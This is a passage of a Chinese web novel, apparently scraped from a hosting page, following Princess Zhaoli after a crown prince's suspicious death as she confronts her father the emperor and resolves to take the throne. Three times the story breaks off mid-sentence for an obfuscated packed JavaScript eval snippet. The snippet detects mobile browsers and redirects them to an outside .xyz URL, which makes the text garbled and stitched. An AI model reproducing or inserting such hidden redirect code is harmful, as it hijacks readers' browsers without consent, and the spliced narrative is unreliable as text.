一豆火光中,昭离眼中的怯意渐散,目光逐渐坚定。 * 就在这时—— “咚!” 一声丧钟划破长夜,顿时惊鸟四起。 昭离神情骤变,心里默数钟声:一声、两声、三声……直到第七声。 “七声丧钟,那是皇室子弟……” 忽然,城墙上的守卫列阵,都朝着一个方向疾奔而去。 昭离忙叫住领头之人,问道:“发生何事?是哪位宗亲薨逝了?” 那领头的守卫看清是公主后,忙躬身道:“回禀公主。是……太子,是六皇子殿下。” “……什么?” 昭离骤然色变。 那守卫道:“圣上有旨,所有人穿戴素服,即刻赴仁寿宫跪拜。还请公主殿下快些准备吧。” 说罢,便带队匆匆离去。 昭离难以置信地看向姜婋,眼底已翻起惊涛骇浪,一时说不出话来。 “天不假年,生死有命。看来这次天命,并没有站在六皇子那一边……” 姜婋望向昭离,语气哀沉道—— “公主,请节哀。” 54.29 夜深风冷,仁寿宫外一片缟素。殿檐垂下的白绸,如冷夜幽魂,随风摇曳。 殿门前跪了一地公主皇子、宗亲贵胄,虽都心中万般疑问,却无人敢先开口。 昭离跪在队伍中,也是六神无主,不知六皇子怎会突然薨逝。 忽有一道熟悉的声音突兀响起: “……明日不是册封大典吗?六皇子怎会突然薨逝?到底出了何事?” 说话的,正是愣头青赵湛。 这问题正是所有人心中所问,只是他问了,却也无人敢答。 片刻沉寂后,一向沉默不语的三皇子赵祺轻叹一声。 “六弟性子活泼好动,册立仪式上也非要带着弹弓上殿。父皇闻之不悦,便令皇后娘娘将弹弓收起,不许他胡闹。” 众人竖耳屏息。 赵祺继续道:“可六弟一向孩子心性,夜里竟偷偷摸进仁寿宫中,想找回那件宝贝弹弓,可谁料……” 讲到关键时刻,赵祺陡然顿住,众人忙催促他: “谁料如何?” “三皇子快说啊!” 昭离也是心急,但并未开口催促。 三皇子赵祺腿有残疾,他跪久了着实不舒服,便换了一个姿势,低声道:“谁料,他潜入途中被误作贼人,夜里宫中本就巡防严密,加之夜色漆黑又看不清脸。逃窜途中,六弟又犯了喘疾,想辩也辩不得……终被侍卫乱棍围攻。等人认出他来时,已是气息奄奄了。” 此言一出,众人皆是骇然。 “这也太离谱了!” “堂堂皇子竟被侍卫打死?” 赵湛忍不住高声道:“这不是大水冲了龙王庙,自家人不识自家人嘛?” “就算夜色晦暗,可照料六皇子的宫人,怎会不识得他?”有宗亲低声质疑。 赵祺神色悲恸:“太子即位前夕,仁寿宫添了不少护卫。难免有些眼拙识浅的,没认出来……” 众人听罢,无不慨叹。 赵祺低下头,眼底却不着痕迹地掠过一丝冷光。 * 与此同时,仁寿宫殿内灯火昏沉。 媚皇后跪在榻前,眼中无神,像是被抽走了灵魂。 虽然六皇子是她布局多年之棋,但数年朝夕相伴,她对赵祐也有一份母子之情。如今死讯突至,她也心如刀绞,痛哭不止。 皇帝赵柟坐于榻上,手中正握着那把弹弓,眼中满是怒意。 “就算祐儿真想带着弹弓进行册封仪式,又有何妨?朕不过说了他两句……你为何要藏起来?咳咳咳……” 赵柟的身体已然经不起盛怒,说了几句就咳嗽起来。 一直以来,媚皇后虽心有怨言但也要帮皇帝收拾烂摊子,可这件事情她坚决不能认下。 媚皇后抬头,声音微颤却态度坚定:“臣妾不过依圣命行事。若早知会害了祐儿,就算用刀抵在脖颈,臣妾也断不会藏起他心爱之物!” 赵柟无能狂怒:“那还不是你管教无方,让祐儿胆大妄为,夜闯后宫偷盗!” 媚皇后脸色微变:“所以陛下的意思是,一切皆是臣妾之过?” 赵柟目光躲闪,他心知自己有错,可身为皇帝,断不会承认。 良久,他怒而起身:“昭仁宫所有宫人侍卫,尽数杖杀!皇后闭门思过!” 命令甫出,殿外已传来宫人们凄厉求饶声。 正在此时,一道小小的身影哭喊着闯进殿内,是小公主昭宜。 “父皇,你莫怪母后!是六哥不听话,不是母后的错啊……” 媚皇后扑身上前,将女儿一把抱入怀中,眼泪再次滑落。 赵柟拽起昭离,冷声道:“皇后闭门思过期间,昭宜暂交嬷嬷照看。” “陛下!” 媚皇后急呼,紧紧拉住女儿,不肯放手,但嬷嬷已上前拉走昭宜。 昭宜哭喊着挣扎,媚皇后哭声哑然:“陛下,臣妾已失去祐儿,求您莫再夺走昭宜……” 赵柟转身离开,回应她的,唯有昭宜撕心裂肺的哭喊。 * 六皇子赵祐的丧葬仪式,最终以太子之礼操持,百官送行,仪式隆重。 丧事甫毕,赵柟便卧病不起,连带着媚皇后也被禁足于仁寿宫中。 朝堂之上一时风声鹤唳,谁也不知大昭未来的储君将会是谁? * 自太子薨逝后,昭离数日奔走于丧礼,许久未见姜婋。 这一日,二人终于得空见面。 方一照面,姜婋便看出昭离比上次见面时还要憔悴不少,忙问道:“这段时间你还好吗?” 昭离摇头,声音微哑:“六弟走的突然,实在是令人震惊,即便丧礼已毕,我还是难以置信……” 她侧过头,见姜婋神色如常,忽然一怔:“我怎么感觉,你似乎对六皇子骤然薨逝并不意外?” 姜婋心中一顿——因为这是原小说设定:赵祐登太子之位,便是命尽之时。 她刚要开口,突然脑中系统提醒:“玩家,你知晓故事的起承转合,但昭离并不知情,尤其是生死之事,你若过于超然世外,反而会令女主起疑。请谨慎措辞。” 姜婋思忖片刻道:“我也并非不意外……只是,命由性定。六皇子天性顽皮,又偏患喘疾,这两者相冲相克。若有人在他身边规劝,让他收敛自己的心性,并不是无药可救。可偏偏皇上溺爱,皇后放纵,种种前因,酿下今日之果,也不算毫无征兆……” 昭离叹气:“是啊,若早知今日,我身为皇姐也该管束他的。” 姜婋拉住她的手:“你千万别自责。你若真管教,必会招来皇上和皇后的猜忌。有些因果,你不必为他人担着。” 昭离眉头愈发紧皱:“可六弟之死,实在诡异。” 她遂将那日在仁寿宫外听闻之事,一一告知。 姜婋听罢,也露出疑色:“你六弟再怎么不懂事,应该也不会想在册封仪式上玩弹弓吧?” “我也觉得奇怪,所以我推测,除非有人故意引诱六弟去拿弹弓!” 姜婋道:“就算那晚夜色不明,宫人、侍卫看不出他的脸,但也能看出他的身形啊,赵祐毕竟还是个孩子……” 昭离低语:“你怀疑,那晚的宫人和侍卫也有问题?” “有可能。他要被立为太子,身边随从也换了人。这一桩桩,若细细串联,未必不是有人蓄意为之。” 昭离神色更加凝重:“那,究竟会是谁呢?” 姜婋思索片刻:“此事该从谁得利最多入手。” 昭离沉吟:“六弟一死,父皇再无适龄皇子。皇室宗亲便有机会,献子过继给父皇。先前赵湛也说过,父皇立储之前,曾召宗亲密议。想必那时就有人起了心思……” 姜婋拧眉:“看来这宫中,除皇帝与媚皇后之外,还有第三股势力。” “那接下来,我们该如何应对?” 姜婋分析道:“如今皇帝卧床不起,媚皇后也被软禁,朝堂之中人心浮动。所以这个时候你要格外小心,最重要的是让皇帝身体康复,若他一旦归天,大昭将彻底陷入乱局。” 昭离神色肃然:“你放心,从明日起,我便守在父皇身边,寸步不离。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15959212|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> * 自此,昭离白日在殿内侍疾,夜晚与姜婋共读治国之道。 不知不觉间,春去夏至,桃花凋尽,荷花盛开,宫中百花更替,而朝局风云未歇。 在昭离的精心照顾之下,赵柟病势渐缓,终于能下床走路。 这日,他扶杖于殿内缓步,望着眼前的女儿,一脸慈爱。 “这段时日,若无你细心照拂,朕还真不知能否撑过此劫。昭离,你是大昭的福星,也是朕最宠爱的女儿。” 这句饱含深情的夸赞,令昭离又燃起一丝对父皇的期待。 她神情恭谨:“照顾父皇,乃臣女分内之责。” 赵柟忽而停下脚步,语气复杂:“只可惜,若你是个皇子就好了。” 一瞬间,这句话宛如万箭穿心,将昭离定在原地。 她怔愣片刻,默然问道:“父皇,此言何意?” 赵柟叹了口气:“没什么……只是看着你,不免想起祐儿。” 昭离杵在原地,已经失去了思考能力。 这时,殿前宫人禀道:“陛下,朝中大臣已有奏折待议。” 赵柟摆摆手:“昭离,你先退下吧。” “是……” 昭离木讷地起身离开,临走回首,只见御案前堆满疏奏,皆为立储之议,而没有一封是举荐她的。 * 回去路上,昭离低头疾行,一路沉默不语。 ——“只可惜,若你是个皇子就好了。” 这话反复回响在她耳畔,初听之时,好似万箭穿心,现下细思,犹如巨石压顶。 父皇的“爱”,让她认知失调。 上一秒说出:“昭离,你当真不愧是朕最宠爱的女儿。” 下一秒就说:“只可惜,若你是个皇子就好了。” 这不仅是一句否定,更是对她整个人的抹杀。 昭离心中回荡着委屈与不甘,不断反问: “那自己,到底该是谁呢?” “难道我根本就不该是我吗?” * 就在她思绪混乱之时,忽然,姜婋的话闯入脑海—— “此次的崩溃,正是因为你还将自己的人生寄托在他身上。” “你必须从他那一套父权逻辑中挣脱出来,不然,你永远只是个被他挑选的‘女儿’,而不是自己命运的主人。” 是啊,婋婋明明数次提醒过自己…… 可为何自己还是一次次将希望寄托在父皇身上? 以为只要做得足够多,足够好,就可以赢得父亲的认可? 原来自己连被“考虑”的资格都没有…… 不是自己不够好,只是……不是儿子。 * 突然,一阵雏鸟的叽喳声,引起昭离注意。 原来是一只刚学会飞行的小鸟,正挣扎着想越过皇城高墙。 它一次次扑腾翅膀,却又一次次跌落于石阶之间。 昭离心中不忍,走过去想要帮它时,却想起姜婋的话—— “终有一日,你要自己破壳而出,不再做任何人羽翼下的雏鸟。任他风雨如晦、万象倾覆,都不会改变你振翅翱翔的方向。” 就在她愣神的片刻,那只小鸟猛地跃上树枝,借势而起,竟奇迹般飞出了高墙。 昭离抬头望着它,只见那小小的身影掠过层层碧瓦朱甍,直至渐渐消失不见…… 她心头一震,恍然意识到,自己何尝不是被困在某种看不见的囚牢之中? 那一刻,她心底由「三从法则」筑起的壳,骤然碎开一道裂痕。 55.30 自那日之后,昭离再未踏入皇帝寝殿一步。 每日与姜婋学习时,她也常常陷入沉思,神色恍惚。 回到驿站后,姜婋追问系统才得知,症结就是因为赵柟那句—— “只可惜,若你是个皇子就好了。” 没想到,最伤害昭离的,不是一出生便要被处死,不是沦为和亲的献祭品,不是立一个十岁顽童为太子…… 而是这一句看似惋惜,实则饱含恶意的话语。 * 系统问道:“玩家,女主此刻情绪跌入谷底,你不去劝劝她吗?” 姜婋思量半晌道:“一直以来,赵柟的存在就像一座横亘在我与昭离之间大山,我们每次爆发的冲突,归根究底,都是昭离下意识维护她的父皇。赵柟为了自己的权利,多次利用昭离,甚至在她一出生时还赶尽杀绝……昭离那么聪明,怎么会看不出来呢?” 系统:“这恰巧就是父权最狡猾的伪装,不是暴力压迫,而是披着亲情的外衣剥夺与限制。这也是浪漫爱世界中,「三从法则」最吊诡之处,若女主角对抗的是一个暴君,她自然会警惕反抗,但她面对的是一整套由‘父爱’包装的‘从父’法则,稍不谨慎,就会盲从而不自知。” 姜婋点头:“这些道理,其实昭离都明白,只是她不愿意面对。就算我此刻去劝她,也只会让我们再次爆发矛盾,让她徒增痛苦罢了。我得想一个办法,让昭离从捆绑她的「三从法则」中抽离出来,彻底弑父……” 她眸光一转,似是想到什么:“系统,帮我个忙!” * 第二天读书之时,姜婋却迟迟未到。 昭离心生不安,担心她是不是出了什么意外。 正犹豫间,姜婋突然疾步而来,满脸沾着烟尘泥土。 昭离忙问:“你去哪了?怎弄得这般狼狈?”说着,还用手帕给她擦了擦脸。 姜婋笑了笑,递过一个木盒:“你快看看这是什么!” 昭离接过,只瞧木盒外壳似被火焰烧过,被熏得已然发黑。 她揭开盒盖的瞬间,一股久违的香味扑面而来,将她的记忆带回儿时…… 那好像是她很小很小的时候,在温柔的怀抱中,闻过的一种充满安全感的味道。 昭离定睛一看,但见盒中放着一件绣有太阳纹的贴身小衣,一只护身符,一个缀着红穗的香囊,以及一封泛黄的书信。 “这是……”她声音微颤,仿佛已经猜出。 姜婋柔声道:“这是你娘亲,先皇后留给你的东西。” “你从哪找到的?”昭离诧然。 “我昨夜去了一趟之前的国公府,就是先皇后的母家。那里虽然被大火烧成了一片废墟,但我想着万一能找到些遗物呢?果然,我在烧焦的书房中发现了一个暗格,里面藏着这个木匣。这对你母亲来说,一定是极为珍重之物,才会让人藏在最隐蔽之处。” 昭离一时情怯,竟不敢去触碰盒中之物,生怕这是一场梦。 姜婋扶住她的肩头:“昭离,你曾说过,出生之日便是与你母亲诀别之时,但我知道,先皇后真的很爱你。这里面的每一件信物,都是她亲手为你做的。这件小衣上,还绣着你的名字,你看——” 昭离愕然,忙展开那件衣物,果然,衣角处用绣着一个“离”字。 “怎么会?我的名字,不是父皇亲赐的吗……” 姜婋道:“虽说‘昭离’是你父皇寻找到你后,给你的赐名。但真正给你起这个名字的,是你的生母。这个‘离’字,并不是分离的意思,而是指——离为火。‘昭离’二字,乃是昭而离火,久明似日的意思,她希望你像太阳!” 刹那间,昭离泪如雨下,手指轻轻触碰护身符和香囊。 只见护身符上绣着“以火为心”,香囊上绣着“以光为志”。 直到这一刻,她才明白,昭离二字的本意,根本就不是分离! 而造成这场无妄悲剧的,正是她的父皇! 姜婋提醒道:“这里还有一封书信,我未曾打开。你要不要看看?” 昭离双手微颤,展开那张泛黄的纸页,只见清秀的字迹上,还有洇着点点泪痕…… * “爱女昭离: 母后提笔之时,已知此别,恐为永诀。 若有一日,你得见此信,愿你心中已无怨怼,亦无愁苦。 母后未能护你长大,唯盼你平安喜乐,纵不在我身侧,亦能自在而活。 你生而无罪,不祥之说,妄加于你,休要信之。 你天来高贵,昭而离火,心中有光,莫因荒唐之言而轻贱自己。 母后知晓,生而为女,未来必有困苦,然请谨记—— 你的名字,便是母后为你祈下的祝福。 纵使身处幽暗,离火之光,也可照亮前路。 经此一别,不知天涯几何。 无论你行至何处,母后之心,皆随你而往。 活下去,活成你自己的模样……” * 昭离读到此处,已是泪水盈然。 昨日,她心中还回荡着委屈与不甘,不断反问自己: “难道我根本就不该是我吗?” “那自己,到底该是谁呢?” 此刻,母亲在信中告诉她——你就是你,昭而离火。 姜婋抬手,为她拭去泪水:“昭离,虽然你的出生,成为了你与母亲诀别的时刻,但即便如此,她依然用生命在守护你。在你母亲眼中,从来没有因为你是女子,无法继承皇位,而减少对你一分一毫的爱。即便明知自己无力保护你,她仍将你托付于最信任之人,就是你的干娘。” “你的干娘也很爱你。当年先皇后母家蒙难之时,她冒着性命之险将你救出,独自抚养长大。她教你捕鱼采藕,习得活下去的技能。她从未因你是女孩而减少对你的疼爱。无论是你的生母,还是你的干娘,她们的爱,都因为——你是你。所以,不要再怀疑自己了,好吗?” 昭离点头的刹那,泪珠如断线之珠。 姜婋沉了口气道:“我知道,你的内心其实对你的父皇,并没有完全的失望。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15967500|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为他不是一个十恶不赦的暴君,他会用温情与宠爱包装自己,让你自愿去牺牲,以换取他手中的权力稳固。我明白你此刻的痛苦,因为你要对抗的并不是仇恨,而是以爱之名的压迫……” 昭离神色怔然,眼中浮现痛苦与挣扎。 “我告诉过你,你要成为母君,必将要经历弑父。在精神上完全要独立出来,摆脱父权对你的操控。这种操控最可怕之处——就是让你羞于反抗!” 姜婋说着,逐渐正色:“我们大部分人的父亲,都不是十恶不赦的坏蛋,但他们却是父权制最忠实的继承者和拥护者。他们也不自知地,用他们的爱来控制我们。但他们的「爱」,永远建立在默认权力属于男性的基础之上。” “所以,你的父皇给你无数赏赐,但永远不会把皇位赏给你的;你的父皇宠爱你,但却要让你和亲献祭,换取他手中的权力。你的父皇就像我的哥哥一样,说得好听是保护我,可实际上他是想困住我……” 昭离缓缓抬眸,眼神逐渐清明。 姜婋问道:“昭离,你还记得在杀宰牙之前,回夏巫珠托罗沙曾问过你一个问题吗?” 昭离回忆:“她问我——你杀过人吗?” 姜婋点头:“后来,你杀了宰牙。其实你要「杀」的人,并没有你想象中那么可怕。” 她忽地顿住,问道:“你想知道,你的父皇是怎么登上皇位的吗?” 昭离脸色一变:“你这话什么意思?” 姜婋拿过木盒,拨动底层的木片,竟出现一个隐蔽的夹层。 她语气微凝:“这是你母后藏起来的书信,这里面有非常重要的线索,将会告诉你,你的父皇是如何成为皇帝,以及他为何一定要灭了你母后的家族。” 昭离瞳孔骤然收缩,难以置信地攥紧了手中的书信…… * 那一天,昭离看完了所有的书信,把自己关在寝殿里很久。 姜婋在回廊下踱步,系统问她:“玩家,你真的不去陪着女主吗?” “我相信昭离。” 姜婋的目光始终未离殿门方向:“系统,她若要摆脱对她父皇的「雏鸟情结」和「三从法则」的控制,必须要自己破壳而出。” 系统揶揄:“可昨晚你跪在地上,翻土挖地,手指出血之时,可不似这般淡定。” 姜婋挠了挠头:“哎呀,多亏你啦,系统。要不是你帮我找出这条小说里的暗线,又怎能发现先皇后留给昭离的那份遗物?有了这份母爱做对比,我相信昭离定会看清她父皇的虚伪,从困住她的「三从法则」里走出来。” 话音未落,只听殿门“吱呀”一声。 昭离推门而出,仿佛一只破壳重生,浴火涅槃的凤凰。 她的眸中再无徘徊迟疑,唯有坚定与决绝,仿佛世间再无能困住她的牢笼。 她与姜婋目光对视,朗声道:“你怎么还在外头?今日不是还要继续学习母君培养计划吗?” 姜婋粲然一笑:“你瞧吧,系统,我就知道我的女主最棒了!” “来啦!” 56.31 这段时日,赵柟身体逐渐好转,朝堂上却因立储之事风波再起。 众人皆在揣测,究竟是哪位宗室亲王的子嗣,将有幸被过继为储君。 然而,等来的却是一道震惊朝野的圣旨——三皇子入主东宫。 * 消息传来时,姜婋正身处官署驿站。 她接连向顾云峥确认:“你确定,是三、三皇子?” 顾云峥点头,也觉得奇怪。 姜婋忙回到房间,在脑中与系统商量。 “怎么可能是三皇子?他在原著中都没有戏份,是个彻头彻尾的背景板啊!” 系统:“玩家,你还记得上一个副本中,夏星澜后期生发出的事业线吗?” “当然记得。” 系统:“你对原小说的每一次改变,都会牵动原故事的走向。昭离公主在西陲一战成名,当然也会影响到故事中的每一个人,连没有台词的配角也开始审视自己的命运。三皇子或许正是因她,才燃起了这份野心。” 姜婋一愣:“……你的意思是说,是我对故事的改变,才让这个背景板配角,有了自己的意识,甚至想要与昭离竞争皇位?” “极有可能。” 系统:“比如,你原主的官配赵湛,他原本是一个闲散安乐的侯爷,在知晓昭离的事迹之后,这才开始参与进你们的故事之中。” 姜婋细细推敲,霎时恍然大悟:“看来,之前六皇子的死,幕后黑手极有可能是三皇子!” 她咬着牙愤然道:“我为了这个副本,筹划已久,步步算计,帮昭离扫清一切阻碍,却偏偏算漏了他!我们好不容易让昭离重振希望,如今又立三皇子为太子,她肯定伤透了心……” 想到这里,姜婋心火如焚,转身疾步而出。 * 这一边,昭离早已来到了长生观外,请求面见圣上。 在得到准许后,她穿过松影婆娑的树林,走过曲径蜿蜒的石阶,绕过泉水潺潺的洗心池…… 这一路,昭离想了很多。 自那日,她从婋婋手中接过母亲留下的遗物,才终于看清,她的父皇究竟是个怎样的人。 她在「三从法则」的影响下,一直羞于反抗父权,甚至将那份皇权下的父爱,当作一座不可撼动的高山,甘愿顺从与自我牺牲。 可当她真正挣脱了那层无形的束缚,再回望那座“高山”时,才惊觉这座看似坚不可摧的山,原来堆砌的是无数人的森森白骨…… 这段时日,昭离一直在思索,她究竟是要继续仰望这座山,做一个乖巧听命的公主,在需要时牺牲自我,成为装点父权神话的又一具不起眼的白骨? ——还是劈开这座山,掌控自己的命运? 毫无悬念,她选择了后者。 * 片刻后,昭离来到丹香氤氲的殿中。 只见赵柟盘坐蒲团之上,头挽道髻,白发比之前多了不少。 她站定道:“父皇真是好兴致,立了太子,放了媚皇后,便可在这长生观里,继续求神问道,无忧无虑了。” 赵柟睁眼,语气温和:“昭离,朕知你心中不悦。” “我为何不悦?” 这反问,使赵柟一时语塞。 昭离直视赵柟双眼:“敢问父皇,为何立三皇子为太子?” “这是朕的决定,岂容你质疑?” 赵柟站起,摆出帝王威仪:“朕不立三皇子,难道要将江山托付于宗亲之子?他们不是朕的亲生骨肉,终归有异心,难以托付。” “亲生骨肉?” 昭离反问:“我不也是父皇的亲生骨肉?” 赵柟一愣:“你想让我立你为——” “皇太女。”昭离语声坚定。 “莫要妄言!” 赵柟肃然道:“大昭自开国以来,从未有女帝,更无皇太女!这是祖宗先法,过去不曾有,日后也绝不可能!” 昭离笑了笑:“为何不可?自古相貌不端、身有残疾者,皆不可立为太子。父皇既能为三皇子破例,为何不能为我破一次先例?” 赵柟哑然,他知道,昭离说得没错。 毕竟一个身有残疾、无功无德的皇子,和一个有政绩、有军功、有民心的公主,两者相较,高下立判。 但赵柟还是坚持自己做的没错。 “你毕竟是女儿家。昭离,你就做朕最宠爱的女儿,不好吗?” “最宠爱的女儿?” 昭离嗤笑,眼中燃起怒焰:“我一出生,你便以天象不祥为由,将我处死;依兹犯境时,你将我献出和亲;我被回夏劫持,你不求真相,便下诏宣我已死。父皇的宠爱,我可真是可承受不起……” 赵柟脸色阴沉:“昭离,你怎么变得这般无理取闹?你知不知道你在说什么?” “难道在父皇眼中,女儿就一定要逆来顺受、乖乖服从吗?你问我何时变得这般无理取闹……” 昭离似在回忆,惨然笑道:“我想起来了。也许是我刚出生,你因天象不祥要置我于死地之时。是父皇你——先杀死了自己的女儿。” 赵柟一掌拍案,怒喝道:“大胆!你竟敢在朕面前妄言忤逆!” 昭离静静望着他。 刹那间,赵柟愤怒扭曲的面孔,与那日宰牙临死前的惊恐神情重叠。 她忽然意识到,或许那一刀之下,她真正想杀死的,并不是敌国之王,而是——那个口口声声说爱她,却几次要杀她的父皇! 一瞬间,她积压多年的委屈、悲愤、痛苦在胸中翻涌,终于在此刻如山崩般倾泻而出。 昭离声音颤抖,眼中含泪:“父皇,在西陲之时,每一条路都在告诉我必死无疑。可我偏不认命!我心中唯一的执念,便是要活着回来,再见父皇一面!” 她死死盯着赵柟,泪珠滚落:“因为我不甘心!我不甘心……我要亲口问一声父皇——我在你心中到底价值几何?” 这声质问回荡在观中,如丹炉之上的香烟,盘旋而上,久久不息。 一阵缄默后,只听赵柟沉声道:“你是朕的公主,自当无价。” 昭离笑出声来:“父皇口中的‘无价’,怕是毫无价值,一文不值的意思吧?” “放肆!” 赵柟厉喝:“昭离,你这番言辞,实乃以下犯上,大不孝之罪!” “臣女不孝?” 昭离擦干眼角的泪:“父皇,你错了,你才是真正的不忠不孝,不仁不义!” 赵柟震惊:“你这般满口胡言,你、你是疯了吗?” “既然父皇质疑,那臣女便向您分辨清楚。” 昭离上前一步,朗声道—— “你是我见过最伪善的父亲,最无责任的帝王。你为了维护你的权力,以天降不祥为由,便要将尚在襁褓的亲生骨肉置于死地,此乃不仁; “先皇后待你一片真心,母后一族助你登上龙位,可你却听信谗言,逼死母后,灭其家族,此乃不义; “你不顾社稷,沉迷道术,荒废朝纲,令大昭先祖打下的大好江山,险些葬送于依兹铁蹄之下,是为不孝; “外敌压境,百姓哀嚎,你不思守土,却只想着送自己的女儿去和亲,这不就是弃国如弃子,是为不忠大昭也!” 她言语如锋,步步紧逼,赵柟面色惨白,竟一时无言以对。 昭离继续道:“如今朝局不稳,你破了祖宗章法,仓促立身有残疾的三皇子为太子,恐怕你也不是真的看重他,不过是借他稳住朝局。之后太子是废是换,皆凭你一言定夺。你心中没有子女、没有江山,没有臣民,只有你自己!你只在意你手中的权力和那虚妄的‘长生梦’! ” “住口——” 赵柟气息紊乱,弯腰剧烈咳嗽,已有些站立不稳。 昭离看着他,眼中浮出一抹怜悯:“只可惜生死有命,富贵在天,有些事情终究是求而不得。” 说罢,她从袖中拿出数张符箓和一张按满指印的供状。 “父皇,你知道吗,你最信奉的张天师,不过是一个欺世盗名的大骗子!他自称能炼出让你长生不老的仙丹,不过都是一派胡言。此人就是个因科场舞弊被贬的庸人,他心怀愤懑,用假仙丹招摇撞骗,欺君罔上。这些皆是物证口供,您要不要亲自过目?” 赵柟面如死灰,久久不语,也不伸手去接。 昭离抬手一扬,那几张符箓供状洋洋洒洒,飘入洗心池中,纸符在清泉中慢慢浸染化开,宛若长生之梦的幻灭。 昭离缓缓开口:“听闻此池名曰‘洗心’,真是个好名字,我看此处最应该清洗的,就是父皇那颗蒙尘的心。” 她说罢,看着赵柟失神落魄的模样,仿若一棵朽木,失去了最后的生机。 这座坚不可摧的父权之山,轰然崩塌。 滚落的皑皑白骨,宛如他额前垂落的白发。 昭离转身离去,不再回头。 观外,白鹤凌空振翅而起,长鸣不绝。 * 离开长生观时,天色已晚,落日如血。 昭离踏着余晖,往朝华宫而去,明明不过几百步路,但整个人却好似被抽干力气,怎么也走不动了。 她身形一晃,随即倚树坐下。夕阳中,她半面脸映着金光,半面陷入阴影。 恰在此时,寻她许久的姜婋匆匆赶来,见状大惊,疾步上前问道:“你去哪了?我寻你好久……” 昭离沙哑低语:“婋婋,我杀了一条鱼……” “什么?” “我去了长生观,问出了我心中最想问的问题。” “那你得到你想要的答案了吗?” 昭离眸中闪动着泪光:“答案其实一直在我心里,只是我不愿承认罢了。是我,对父皇、对皇权、对这由男子制定规则的世界,还抱有一丝幻想……不过今日,我已经杀了那条鱼,也就是我自己。” 姜婋心中明白,那条鱼是「三从法则」影响之下的昭离。 她揽过昭离的肩头:“做得好,从今以后,你就是涅槃重生的昭离了!” 昭离挤出一丝苦笑,有气无力道。 “看来,曾经的我,对父皇封我为‘皇太女’的执念,就如同父皇对那场‘长生梦’的痴想,终究是可望而不可得……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15972076|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 姜婋沉默片刻,终于问出心中所想:“昭离,你会不会遗憾,自己不是个皇子?若你是皇子,如今太子之位必定非你莫属。” 昭离怔了一瞬,站起身道:“是啊,我也设想过。可我从未后悔自己是个女子,反而感到庆幸……” “若我是男子,恐怕这一生都看不清父皇真正的嘴脸,看不穿这世界隐藏的龌龊和不公的压迫;若我是男子,那我的特权,便是建立在压榨另一个性别的权利之上;若我是男子,我就不会杀宰牙,不会平依兹,只会和三皇子、小侯爷那般,锦衣玉食,醉生梦死,麻木无知……” “我庆幸,我是一个女子。也正因为是女子,我才早早看穿了,这世道从一开始就对我布下的诅咒与陷阱,以及为了延续男子的统治所编织的谎言。” 她一字一句道:“我不恨女子的身份,我恨的,是这世间的规则,和这规则背后的制定者——那些自诩为‘天命’的男子。” 说罢,她回身紧握住姜婋的手,语气无比坚定—— “婋婋,我要成为母君。” “大昭若继续在父皇和三皇子手中,亡国不过弹指之间。我要亲手砸碎这腐朽的秩序,重塑乾坤!” 姜婋原以为昭离会因立三皇子为太子之事,再度心灰意冷,没想到却让她的斗志更胜以往。 她眼中燃烧的野心,比此刻的夕阳更加光焰炽热。 正如她名字,昭离才是真的太阳! 姜婋回握住昭离的手,坚定地点了点头。 远方,落日终于坠入群山,一个陈旧的昭国宛如一缕余晖,悄然隐没于天边。 * 自三皇子赵祺登上东宫之位后,朝堂风云骤变。 亲贵子弟纷纷投奔,朝臣故旧趋附如市。一时间“储君英明”“天选继承”之声络绎不绝。 赵祺陶醉其中,举止日渐荒唐,频频下旨整顿朝政,实则无一建树。 与此同时,姜婋暗中布局,广布风声:太子德不配位,而昭离公主,乃是真正的紫薇命主,天命所归。 更有人私下揣测,既然皇帝能破例,立身有残疾之子为储君,那为何不能立一位有功之女为皇太女? 朝中顿时分裂成两派,争执不休。 为了转移内部矛盾,太子党的支持者忽然提出奇策,由太子亲率大军,征伐回夏。 一时满朝哗然。 * 朝华宫中,昭离闻讯大惊:“宰牙方死,西陲百姓好不容易过上安稳日子,为何又要兴兵打仗?回夏与我大昭素来和平相处,何来讨伐之由?” 姜婋冷笑:“当然有理由了,主战派为了给太子攒军功、攒威望、攒有毒的‘男子气概’。若他这一战胜了,便可堵住悠悠之口。真是难为这些人了,在周边邻国中偏偏挑中了回夏!” 昭离眉头紧蹙:“回夏可丝毫不弱,那精麻军岂是好惹的?只是巫珠跟我们一样喜好和平,不愿意燃起战火罢了。” “那是因为我们了解西陲,也知巫珠的魄力和手腕。但是太子和朝中大臣他们久居兴都这个安乐窝,对边境一无所知,自然会说出这番异想天开之言。” 昭离急道:“那我们需赶紧和顾将军说,让他在朝堂上阻止他们!” “为何阻止?” 姜婋意味深长道:“既如此,倒不如顺水推舟。我已叫我哥在朝中顺势促成此事。” 昭离错愕:“这又是何意?” 